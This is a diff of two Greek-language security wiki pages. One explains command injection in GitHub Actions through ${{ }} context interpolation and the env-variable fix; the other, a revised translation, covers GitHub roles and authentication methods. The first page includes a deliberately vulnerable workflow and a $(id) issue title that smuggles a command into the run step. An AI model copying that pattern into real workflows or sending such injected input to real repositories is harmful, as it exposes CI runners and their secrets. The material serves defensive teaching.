@@ -1,3 +1,96 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Κατανόηση του κινδύνου
|
||||
|
||||
Το GitHub Actions αποδίδει τις εκφράσεις ${{ ... }} πριν εκτελεστεί το step. Η αποδοσμένη τιμή επικολλάται στο πρόγραμμα του step (για run steps, a shell script). Εάν ενσωματώσετε μη αξιόπιστη είσοδο απευθείας μέσα σε run:, ο attacker ελέγχει μέρος του shell προγράμματος και μπορεί να εκτελέσει αυθαίρετες εντολές.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Βασικά σημεία:
|
||||
- Η απόδοση γίνεται πριν την εκτέλεση. Το run script δημιουργείται με όλες τις εκφράσεις επιλυμένες και στη συνέχεια εκτελείται από το shell.
|
||||
- Πολλά contexts περιέχουν πεδία ελεγχόμενα από χρήστη ανάλογα με το γεγονός που προκαλεί το trigger (issues, PRs, comments, discussions, forks, stars, κ.λπ.). Δείτε την αναφορά για untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Το quoting του shell μέσα σε run: δεν αποτελεί αξιόπιστη άμυνα, επειδή η injection συμβαίνει στο στάδιο απόδοσης του template. Οι attackers μπορούν να βγουν από quotes ή να εισάγουν operators μέσω ειδικά κατασκευασμένης εισόδου.
|
||||
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Ευάλωτο workflow (ενεργοποιείται όταν κάποιος ανοίξει ένα νέο issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Αν ένας επιτιθέμενος ανοίξει ένα issue με τίτλο $(id), το βήμα που αποδίδεται γίνεται:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
Η αντικατάσταση εντολής εκτελεί id στον runner. Παράδειγμα εξόδου:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Γιατί το quoting δεν σας σώζει:
|
||||
- Οι εκφράσεις αποτιμώνται πρώτα, και μετά εκτελείται το προκύπτον script. Αν η μη αξιόπιστη τιμή περιέχει $(...), `;`, `"`/`'`, ή newlines, μπορεί να τροποποιήσει τη δομή του προγράμματος παρά την παράθεσή σας.
|
||||
|
||||
## Ασφαλές μοτίβο (shell variables via env)
|
||||
|
||||
Σωστή αντιμετώπιση: αντιγράψτε την μη αξιόπιστη είσοδο σε μια μεταβλητή περιβάλλοντος, και στη συνέχεια χρησιμοποιήστε την εγγενή επέκταση shell ($VAR) στο run script. Μην επαν-ενσωματώνετε με ${{ ... }} μέσα στην εντολή.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notes:
|
||||
- Αποφύγετε τη χρήση του ${{ env.TITLE }} μέσα σε run:. Αυτό επανεισάγει το template rendering πίσω στην εντολή και φέρνει τον ίδιο κίνδυνο injection.
|
||||
- Προτιμήστε τη μεταβίβαση untrusted inputs μέσω του env: mapping και αναφέρετέ τα με $VAR μέσα σε run:.
|
||||
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Λογαριασμοί με μόνο read permission σε public repositories μπορούν ακόμα να ενεργοποιήσουν πολλά events. Οποιοδήποτε πεδίο σε contexts που προέρχονται από αυτά τα events πρέπει να θεωρείται attacker-controlled εκτός αν αποδειχθεί το αντίθετο. Παραδείγματα:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (dangerous if misused, runs in base repo context)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
Ποια συγκεκριμένα πεδία είναι attacker-controlled εξαρτάται από το event. Συμβουλευτείτε τον οδηγό του GitHub Security Lab για untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Practical tips
|
||||
|
||||
- Ελαχιστοποιήστε τη χρήση εκφράσεων μέσα σε run:. Προτιμήστε env: mapping + $VAR.
|
||||
- Αν πρέπει οπωσδήποτε να μετασχηματίσετε input, κάντε το στο shell χρησιμοποιώντας ασφαλή εργαλεία (printf %q, jq -r, κ.λπ.), ξεκινώντας πάντα από μια shell μεταβλητή.
|
||||
- Να είστε ιδιαίτερα προσεκτικοί όταν κάνετε interpolation σε branch names, PR titles, usernames, labels, discussion titles, και PR head refs μέσα σε scripts, command-line flags ή file paths.
|
||||
- Για reusable workflows και composite actions, εφαρμόστε το ίδιο pattern: map στο env και μετά αναφερθείτε με $VAR.
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,153 +4,153 @@
|
||||
|
||||
## Βασική Δομή
|
||||
|
||||
Η βασική δομή του περιβάλλοντος github μιας μεγάλης **εταιρείας** είναι να κατέχει μια **επιχείρηση** που κατέχει **πολλές οργανώσεις** και η καθεμία από αυτές μπορεί να περιέχει **πολλούς αποθετηρίους** και **πολλές ομάδες**. Οι μικρότερες εταιρείες μπορεί να **κατέχουν μόνο μία οργάνωση και καμία επιχείρηση**.
|
||||
Η βασική δομή του περιβάλλοντος του github σε μια μεγάλη **εταιρεία** είναι να έχει ένα **enterprise** το οποίο κατέχει **πολλές organizations** και η κάθε μία από αυτές μπορεί να περιέχει **πολλα repositories** και **πολλές teams.**. Μικρότερες εταιρείες μπορεί να έχουν απλώς **μία organization και κανένα enterprise**.
|
||||
|
||||
Από την οπτική γωνία ενός χρήστη, ένας **χρήστης** μπορεί να είναι **μέλος** **διαφορετικών επιχειρήσεων και οργανώσεων**. Μέσα σε αυτές, ο χρήστης μπορεί να έχει **διαφορετικούς ρόλους επιχείρησης, οργάνωσης και αποθετηρίου**.
|
||||
Από την οπτική ενός χρήστη, ένας **user** μπορεί να είναι **μέλος** διαφορετικών **enterprises και organizations**. Μέσα σε αυτές ο χρήστης μπορεί να έχει **διαφορετικούς enterprise, organization και repository ρόλους**.
|
||||
|
||||
Επιπλέον, ένας χρήστης μπορεί να είναι **μέλος διαφορετικών ομάδων** με διαφορετικούς ρόλους επιχείρησης, οργάνωσης ή αποθετηρίου.
|
||||
Επιπλέον, ένας χρήστης μπορεί να είναι **μέλος διαφορετικών teams** με διαφορετικούς enterprise, organization ή repository ρόλους.
|
||||
|
||||
Και τέλος, **οι αποθετήριοι μπορεί να έχουν ειδικούς μηχανισμούς προστασίας**.
|
||||
Και τέλος, τα **repositories μπορεί να έχουν ειδικά μηχανιστικά προστασίας**.
|
||||
|
||||
## Προ privileges
|
||||
## Προνόμια
|
||||
|
||||
### Ρόλοι Επιχείρησης
|
||||
### Enterprise Roles
|
||||
|
||||
- **Κάτοχος επιχείρησης**: Άτομα με αυτόν τον ρόλο μπορούν να **διαχειρίζονται διαχειριστές, να διαχειρίζονται οργανώσεις εντός της επιχείρησης, να διαχειρίζονται ρυθμίσεις επιχείρησης, να επιβάλλουν πολιτική σε οργανώσεις**. Ωστόσο, **δεν μπορούν να έχουν πρόσβαση στις ρυθμίσεις ή το περιεχόμενο της οργάνωσης** εκτός αν γίνουν κάτοχοι οργάνωσης ή τους δοθεί άμεση πρόσβαση σε αποθετήριο που ανήκει σε οργάνωση.
|
||||
- **Μέλη επιχείρησης**: Τα μέλη των οργανώσεων που ανήκουν στην επιχείρησή σας είναι επίσης **αυτόματα μέλη της επιχείρησης**.
|
||||
- **Enterprise owner**: Άτομα με αυτόν τον ρόλο μπορούν να **διαχειρίζονται διαχειριστές, να διαχειρίζονται organizations εντός του enterprise, να διαχειρίζονται ρυθμίσεις του enterprise, να επιβάλλουν πολιτικές σε organizations**. Ωστόσο, **δεν μπορούν να έχουν πρόσβαση σε ρυθμίσεις ή περιεχόμενο των organizations** εκτός αν γίνουν organization owner ή τους δοθεί άμεση πρόσβαση σε ένα repository που ανήκει στην organization.
|
||||
- **Enterprise members**: Τα μέλη των organizations που ανήκουν στο enterprise σας είναι επίσης **αυτόματα μέλη του enterprise**.
|
||||
|
||||
### Ρόλοι Οργάνωσης
|
||||
### Organization Roles
|
||||
|
||||
Σε μια οργάνωση, οι χρήστες μπορούν να έχουν διαφορετικούς ρόλους:
|
||||
Σε μια organization οι χρήστες μπορούν να έχουν διαφορετικούς ρόλους:
|
||||
|
||||
- **Κάτοχοι οργάνωσης**: Οι κάτοχοι οργάνωσης έχουν **πλήρη διοικητική πρόσβαση στην οργάνωσή σας**. Αυτός ο ρόλος θα πρέπει να περιορίζεται, αλλά όχι σε λιγότερους από δύο άτομα, στην οργάνωσή σας.
|
||||
- **Μέλη οργάνωσης**: Ο **προεπιλεγμένος**, μη διοικητικός ρόλος για **άτομα σε μια οργάνωση** είναι το μέλος οργάνωσης. Από προεπιλογή, τα μέλη οργάνωσης **έχουν έναν αριθμό δικαιωμάτων**.
|
||||
- **Διαχειριστές χρέωσης**: Οι διαχειριστές χρέωσης είναι χρήστες που μπορούν να **διαχειρίζονται τις ρυθμίσεις χρέωσης για την οργάνωσή σας**, όπως πληροφορίες πληρωμής.
|
||||
- **Διαχειριστές Ασφαλείας**: Είναι ένας ρόλος που οι κάτοχοι οργανώσεων μπορούν να αναθέσουν σε οποιαδήποτε ομάδα σε μια οργάνωση. Όταν εφαρμοστεί, δίνει σε κάθε μέλος της ομάδας δικαιώματα να **διαχειρίζεται ειδοποιήσεις και ρυθμίσεις ασφαλείας σε όλη την οργάνωσή σας, καθώς και δικαιώματα ανάγνωσης για όλους τους αποθετηρίους** στην οργάνωση.
|
||||
- Εάν η οργάνωσή σας έχει μια ομάδα ασφαλείας, μπορείτε να χρησιμοποιήσετε τον ρόλο διαχειριστή ασφαλείας για να δώσετε στα μέλη της ομάδας την ελάχιστη πρόσβαση που χρειάζονται στην οργάνωση.
|
||||
- **Διαχειριστές εφαρμογών Github**: Για να επιτρέψετε σε επιπλέον χρήστες να **διαχειρίζονται τις εφαρμογές GitHub που ανήκουν σε μια οργάνωση**, ένας κάτοχος μπορεί να τους χορηγήσει δικαιώματα διαχειριστή εφαρμογών GitHub.
|
||||
- **Εξωτερικοί συνεργάτες**: Ένας εξωτερικός συνεργάτης είναι ένα άτομο που έχει **πρόσβαση σε έναν ή περισσότερους αποθετηρίους οργανώσεων αλλά δεν είναι ρητά μέλος** της οργάνωσης.
|
||||
- **Organization owners**: Οι organization owners έχουν **πλήρη διοικητική πρόσβαση στην organization**. Αυτός ο ρόλος πρέπει να περιορίζεται, αλλά να μην είναι λιγότεροι από δύο άτομα στην organization σας.
|
||||
- **Organization members**: Ο **προεπιλεγμένος**, μη-διοικητικός ρόλος για **άτομα σε μια organization** είναι ο organization member. Από προεπιλογή, τα organization members **έχουν μια σειρά δικαιωμάτων**.
|
||||
- **Billing managers**: Οι billing managers είναι χρήστες που μπορούν να **διαχειρίζονται τις ρυθμίσεις χρέωσης της organization**, όπως πληροφορίες πληρωμής.
|
||||
- **Security Managers**: Είναι ένας ρόλος που οι organization owners μπορούν να αναθέσουν σε οποιαδήποτε team σε μια organization. Όταν εφαρμόζεται, δίνει σε κάθε μέλος της team δικαιώματα να **διαχειρίζεται security alerts και ρυθμίσεις σε όλη την organization, καθώς και read permissions για όλα τα repositories** στην organization.
|
||||
- Αν η organization σας έχει security team, μπορείτε να χρησιμοποιήσετε τον ρόλο security manager για να δώσετε στα μέλη της team την ελάχιστη πρόσβαση που χρειάζονται στην organization.
|
||||
- **Github App managers**: Για να επιτρέψετε σε επιπλέον χρήστες να **διαχειρίζονται GitHub Apps που ανήκουν σε μια organization**, ένας owner μπορεί να τους δώσει δικαιώματα Github App manager.
|
||||
- **Outside collaborators**: Ένας outside collaborator είναι ένα άτομο που έχει **πρόσβαση σε ένα ή περισσότερα repositories της organization αλλά δεν είναι ρητά μέλος** της organization.
|
||||
|
||||
Μπορείτε να **συγκρίνετε τα δικαιώματα** αυτών των ρόλων σε αυτόν τον πίνακα: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Μπορείτε να **συγκρίνετε τα permissions** αυτών των ρόλων σε αυτόν τον πίνακα: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Δικαιώματα Μελών
|
||||
### Members Privileges
|
||||
|
||||
Στο _https://github.com/organizations/\<org_name>/settings/member_privileges_ μπορείτε να δείτε τα **δικαιώματα που θα έχουν οι χρήστες απλώς και μόνο επειδή είναι μέλη της οργάνωσης**.
|
||||
Στο _https://github.com/organizations/\<org_name>/settings/member_privileges_ μπορείτε να δείτε τα **δικαιώματα που θα έχουν οι χρήστες απλώς επειδή είναι μέλη της organization**.
|
||||
|
||||
Οι ρυθμίσεις που έχουν διαμορφωθεί εδώ θα υποδεικνύουν τα εξής δικαιώματα των μελών της οργάνωσης:
|
||||
Οι ρυθμίσεις που διαμορφώνονται εδώ θα υποδεικνύουν τα ακόλουθα δικαιώματα των μελών της organization:
|
||||
|
||||
- Να είναι διαχειριστής, συγγραφέας, αναγνώστης ή χωρίς δικαιώματα σε όλους τους αποθετηρίους της οργάνωσης.
|
||||
- Εάν τα μέλη μπορούν να δημιουργούν ιδιωτικούς, εσωτερικούς ή δημόσιους αποθετηρίους.
|
||||
- Εάν είναι δυνατή η δημιουργία αντιγράφων αποθετηρίων
|
||||
- Εάν είναι δυνατή η πρόσκληση εξωτερικών συνεργατών
|
||||
- Εάν μπορούν να δημοσιευτούν δημόσιες ή ιδιωτικές τοποθεσίες
|
||||
- Τα δικαιώματα που έχουν οι διαχειριστές στους αποθετηρίους
|
||||
- Εάν τα μέλη μπορούν να δημιουργούν νέες ομάδες
|
||||
- Να είναι admin, writer, reader ή χωρίς δικαιώματα σε όλα τα repositories της organization.
|
||||
- Αν τα μέλη μπορούν να δημιουργούν private, internal ή public repositories.
|
||||
- Αν είναι δυνατή η δημιουργία fork των repositories.
|
||||
- Αν είναι δυνατό να προσκαλούνται outside collaborators.
|
||||
- Αν μπορούν να δημοσιευτούν public ή private sites.
|
||||
- Τα δικαιώματα που έχουν οι admins πάνω στα repositories.
|
||||
- Αν τα μέλη μπορούν να δημιουργούν νέες teams.
|
||||
|
||||
### Ρόλοι Αποθετηρίου
|
||||
### Repository Roles
|
||||
|
||||
Από προεπιλογή, οι ρόλοι αποθετηρίου δημιουργούνται:
|
||||
Κατ' προεπιλογή δημιουργούνται οι παρακάτω repository roles:
|
||||
|
||||
- **Ανάγνωση**: Συνιστάται για **μη κωδικοποιητές που θέλουν να δουν ή να συζητήσουν το έργο σας**
|
||||
- **Διαχείριση**: Συνιστάται για **συνεργάτες που χρειάζονται να διαχειρίζονται ενεργά ζητήματα και αιτήματα έλξης** χωρίς δικαιώματα εγγραφής
|
||||
- **Εγγραφή**: Συνιστάται για συνεργάτες που **σπρώχνουν ενεργά στο έργο σας**
|
||||
- **Διαχείριση**: Συνιστάται για **διαχειριστές έργων που χρειάζονται να διαχειρίζονται το αποθετήριο** χωρίς πρόσβαση σε ευαίσθητες ή καταστροφικές ενέργειες
|
||||
- **Διαχειριστής**: Συνιστάται για άτομα που χρειάζονται **πλήρη πρόσβαση στο έργο**, συμπεριλαμβανομένων ευαίσθητων και καταστροφικών ενεργειών όπως η διαχείριση ασφαλείας ή η διαγραφή ενός αποθετηρίου
|
||||
- **Read**: Συνιστάται για **μη-κωδικούς contributors** που θέλουν να δουν ή να συζητήσουν το project σας
|
||||
- **Triage**: Συνιστάται για **contributors που χρειάζεται να διαχειρίζονται ενεργά issues και pull requests** χωρίς δικαίωμα εγγραφής
|
||||
- **Write**: Συνιστάται για contributors που **ενεργά push-άρουν στο project σας**
|
||||
- **Maintain**: Συνιστάται για **project managers που χρειάζεται να διαχειρίζονται το repository** χωρίς πρόσβαση σε ευαίσθητες ή καταστροφικές ενέργειες
|
||||
- **Admin**: Συνιστάται για άτομα που χρειάζονται **πλήρη πρόσβαση στο project**, συμπεριλαμβανομένων ευαίσθητων και καταστροφικών ενεργειών όπως η διαχείριση security ή η διαγραφή repository
|
||||
|
||||
Μπορείτε να **συγκρίνετε τα δικαιώματα** κάθε ρόλου σε αυτόν τον πίνακα [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Μπορείτε να **συγκρίνετε τα permissions** κάθε ρόλου σε αυτόν τον πίνακα [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Μπορείτε επίσης να **δημιουργήσετε τους δικούς σας ρόλους** στο _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Μπορείτε επίσης να **δημιουργήσετε δικούς σας ρόλους** στο _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Ομάδες
|
||||
### Teams
|
||||
|
||||
Μπορείτε να **καταγράψετε τις ομάδες που έχουν δημιουργηθεί σε μια οργάνωση** στο _https://github.com/orgs/\<org_name>/teams_. Σημειώστε ότι για να δείτε τις ομάδες που είναι παιδιά άλλων ομάδων, πρέπει να έχετε πρόσβαση σε κάθε γονική ομάδα.
|
||||
Μπορείτε να **απαριθμήσετε τις teams που έχουν δημιουργηθεί σε μια organization** στο _https://github.com/orgs/\<org_name>/teams_. Σημειώστε ότι για να δείτε τις teams που είναι children άλλων teams χρειάζεται να έχετε πρόσβαση σε κάθε parent team.
|
||||
|
||||
### Χρήστες
|
||||
### Users
|
||||
|
||||
Οι χρήστες μιας οργάνωσης μπορούν να **καταγραφούν** στο _https://github.com/orgs/\<org_name>/people._
|
||||
Οι users μιας organization μπορούν να **απαριθμηθούν** στο _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
Στις πληροφορίες κάθε χρήστη μπορείτε να δείτε τις **ομάδες στις οποίες είναι μέλος ο χρήστης**, και τους **αποθετηρίους στους οποίους έχει πρόσβαση ο χρήστης**.
|
||||
Στις πληροφορίες κάθε user μπορείτε να δείτε τις **teams που ο χρήστης είναι μέλος** και τα **repos στα οποία ο χρήστης έχει πρόσβαση**.
|
||||
|
||||
## Αυθεντικοποίηση Github
|
||||
## Github Authentication
|
||||
|
||||
Το Github προσφέρει διαφορετικούς τρόπους για να αυθεντικοποιήσετε τον λογαριασμό σας και να εκτελέσετε ενέργειες εκ μέρους σας.
|
||||
Το Github προσφέρει διαφορετικούς τρόπους για να αυθεντικοποιηθείτε στον λογαριασμό σας και να εκτελέσετε ενέργειες εκ μέρους σας.
|
||||
|
||||
### Πρόσβαση μέσω Ιστού
|
||||
### Web Access
|
||||
|
||||
Αποκτώντας πρόσβαση στο **github.com**, μπορείτε να συνδεθείτε χρησιμοποιώντας το **όνομα χρήστη και τον κωδικό πρόσβασης** (και μια **2FA ενδεχομένως**).
|
||||
Συνδεόμενοι στο **github.com** μπορείτε να κάνετε login χρησιμοποιώντας το **username και password** σας (και πιθανώς **2FA**).
|
||||
|
||||
### **Κλειδιά SSH**
|
||||
### **SSH Keys**
|
||||
|
||||
Μπορείτε να διαμορφώσετε τον λογαριασμό σας με ένα ή περισσότερα δημόσια κλειδιά που επιτρέπουν στο σχετικό **ιδιωτικό κλειδί να εκτελεί ενέργειες εκ μέρους σας.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Μπορείτε να ρυθμίσετε τον λογαριασμό σας με ένα ή περισσότερα public keys επιτρέποντας στο αντίστοιχο **private key να εκτελεί ενέργειες εκ μέρους σας.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **Κλειδιά GPG**
|
||||
#### **GPG Keys**
|
||||
|
||||
Δεν μπορείτε να προσποιηθείτε τον χρήστη με αυτά τα κλειδιά, αλλά αν δεν τα χρησιμοποιείτε, μπορεί να είναι δυνατό να **ανακαλυφθείτε στέλνοντας commits χωρίς υπογραφή**. Μάθετε περισσότερα για [τη λειτουργία επιφυλακής εδώ](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Δεν μπορείτε να **παραποιήσετε** τον χρήστη με αυτά τα keys, αλλά αν δεν τα χρησιμοποιείτε μπορεί να είναι πιθανό να **ανακαλυφθείτε για αποστολή commits χωρίς signature**. Μάθετε περισσότερα για το [vigilant mode εδώ](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Προσωπικά Διακριτικά Πρόσβασης**
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Μπορείτε να δημιουργήσετε προσωπικά διακριτικά πρόσβασης για να **δώσετε σε μια εφαρμογή πρόσβαση στον λογαριασμό σας**. Κατά τη δημιουργία ενός προσωπικού διακριτικού πρόσβασης, ο **χρήστης** πρέπει να **καθορίσει** τα **δικαιώματα** που θα έχει το **διακριτικό**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Μπορείτε να δημιουργήσετε personal access token για να **δώσετε σε μια εφαρμογή πρόσβαση στον λογαριασμό σας**. Κατά τη δημιουργία ενός personal access token ο **user** πρέπει να **προσδιορίσει** τα **permissions** που θα έχει το **token**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Εφαρμογές Oauth
|
||||
### Oauth Applications
|
||||
|
||||
Οι εφαρμογές Oauth μπορεί να σας ζητήσουν δικαιώματα **για να αποκτήσουν πρόσβαση σε μέρος των πληροφοριών σας στο github ή να σας προσποιηθούν** για να εκτελέσουν ορισμένες ενέργειες. Ένα κοινό παράδειγμα αυτής της λειτουργικότητας είναι το **κουμπί σύνδεσης με το github** που μπορεί να βρείτε σε ορισμένες πλατφόρμες.
|
||||
Οι Oauth applications μπορεί να σας ζητήσουν permissions **για να έχουν πρόσβαση σε μέρος των πληροφοριών σας στο github ή να σας impersonate** για να εκτελέσουν κάποιες ενέργειες. Ένα κοινό παράδειγμα αυτής της λειτουργικότητας είναι το **login with github button** που μπορεί να βρείτε σε κάποιες πλατφόρμες.
|
||||
|
||||
- Μπορείτε να **δημιουργήσετε** τις δικές σας **εφαρμογές Oauth** στο [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Μπορείτε να δείτε όλες τις **εφαρμογές Oauth που έχουν πρόσβαση στον λογαριασμό σας** στο [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Μπορείτε να δείτε τους **τομείς που μπορούν να ζητήσουν οι εφαρμογές Oauth** στο [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Μπορείτε να δείτε την πρόσβαση τρίτων εφαρμογών σε μια **οργάνωση** στο _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Μπορείτε να **δημιουργήσετε** τις δικές σας **Oauth applications** στο [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Μπορείτε να δείτε όλες τις **Oauth applications που έχουν πρόσβαση στον λογαριασμό σας** στο [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Μπορείτε να δείτε τα **scopes που Oauth Apps μπορούν να ζητήσουν** στο [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Μπορείτε να δείτε τρίτες πρόσβασης εφαρμογών σε μια **organization** στο _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Ορισμένες **συστάσεις ασφαλείας**:
|
||||
Κάποιες **συστάσεις ασφαλείας**:
|
||||
|
||||
- Μια **Εφαρμογή OAuth** θα πρέπει πάντα να **ενεργεί ως ο αυθεντικοποιημένος χρήστης GitHub σε όλο το GitHub** (για παράδειγμα, όταν παρέχει ειδοποιήσεις χρηστών) και με πρόσβαση μόνο στους καθορισμένους τομείς.
|
||||
- Μια εφαρμογή OAuth μπορεί να χρησιμοποιηθεί ως πάροχος ταυτότητας ενεργοποιώντας μια "Σύνδεση με το GitHub" για τον αυθεντικοποιημένο χρήστη.
|
||||
- **Μην** δημιουργείτε μια **Εφαρμογή OAuth** αν θέλετε η εφαρμογή σας να ενεργεί σε **ένα μόνο αποθετήριο**. Με το `repo` OAuth scope, οι εφαρμογές OAuth μπορούν να **ενεργούν σε _όλα_**\_\*\* τα αποθετήρια του αυθεντικοποιημένου χρήστη\*\*.
|
||||
- **Μην** δημιουργείτε μια εφαρμογή OAuth για να ενεργεί ως εφαρμογή για την **ομάδα ή την εταιρεία σας**. Οι εφαρμογές OAuth αυθεντικοποιούνται ως **ένας μόνο χρήστης**, οπότε αν ένα άτομο δημιουργήσει μια εφαρμογή OAuth για να τη χρησιμοποιήσει η εταιρεία και στη συνέχεια φύγει από την εταιρεία, κανείς άλλος δεν θα έχει πρόσβαση σε αυτήν.
|
||||
- **Περισσότερα** εδώ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- Μια **OAuth App** πρέπει πάντα να **λειτουργεί ως ο αυθεντικοποιημένος χρήστης του GitHub σε όλο το GitHub** (π.χ., όταν παρέχει ειδοποιήσεις χρήστη) και με πρόσβαση μόνο στα καθορισμένα scopes.
|
||||
- Μια OAuth App μπορεί να χρησιμοποιηθεί ως identity provider ενεργοποιώντας ένα "Login with GitHub" για τον αυθεντικοποιημένο χρήστη.
|
||||
- **Μη** δημιουργείτε μια **OAuth App** αν θέλετε η εφαρμογή σας να δράσει σε **ένα μόνο repository**. Με το scope `repo`, οι OAuth Apps μπορούν να **δράσουν σε _όλα_ τα repositories** του αυθεντικοποιημένου χρήστη.
|
||||
- **Μη** δημιουργείτε μια OAuth App για να δρα ως εφαρμογή για την **ομάδα ή την εταιρεία** σας. Οι OAuth Apps αυθεντικοποιούνται ως **ένας μοναδικός χρήστης**, οπότε αν ένα άτομο δημιουργήσει μια OAuth App για χρήση από την εταιρεία και μετά φύγει, κανείς άλλος δεν θα έχει πρόσβαση σε αυτήν.
|
||||
- **Περισσότερα** στο [εδώ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Εφαρμογές Github
|
||||
### Github Applications
|
||||
|
||||
Οι εφαρμογές Github μπορούν να ζητήσουν δικαιώματα για να **αποκτήσουν πρόσβαση στις πληροφορίες σας στο github ή να σας προσποιηθούν** για να εκτελέσουν συγκεκριμένες ενέργειες σε συγκεκριμένους πόρους. Στις εφαρμογές Github, πρέπει να καθορίσετε τους αποθετηρίους στους οποίους θα έχει πρόσβαση η εφαρμογή.
|
||||
Οι Github applications μπορούν να ζητήσουν permissions να **έχουν πρόσβαση στις πληροφορίες σας στο github ή να σας impersonate** για να εκτελέσουν συγκεκριμένες ενέργειες σε συγκεκριμένους πόρους. Στις Github Apps πρέπει να καθορίσετε τα repositories στα οποία η εφαρμογή θα έχει πρόσβαση.
|
||||
|
||||
- Για να εγκαταστήσετε μια εφαρμογή GitHub, πρέπει να είστε **κάτοχος οργάνωσης ή να έχετε δικαιώματα διαχειριστή** σε ένα αποθετήριο.
|
||||
- Η εφαρμογή GitHub θα πρέπει να **συνδεθεί με έναν προσωπικό λογαριασμό ή μια οργάνωση**.
|
||||
- Μπορείτε να δημιουργήσετε τη δική σας εφαρμογή Github στο [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Μπορείτε να δείτε όλες τις **εφαρμογές Github που έχουν πρόσβαση στον λογαριασμό σας** στο [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Αυτές είναι οι **API Endpoints για τις Εφαρμογές Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Ανάλογα με τα δικαιώματα της εφαρμογής, θα μπορεί να έχει πρόσβαση σε ορισμένα από αυτά
|
||||
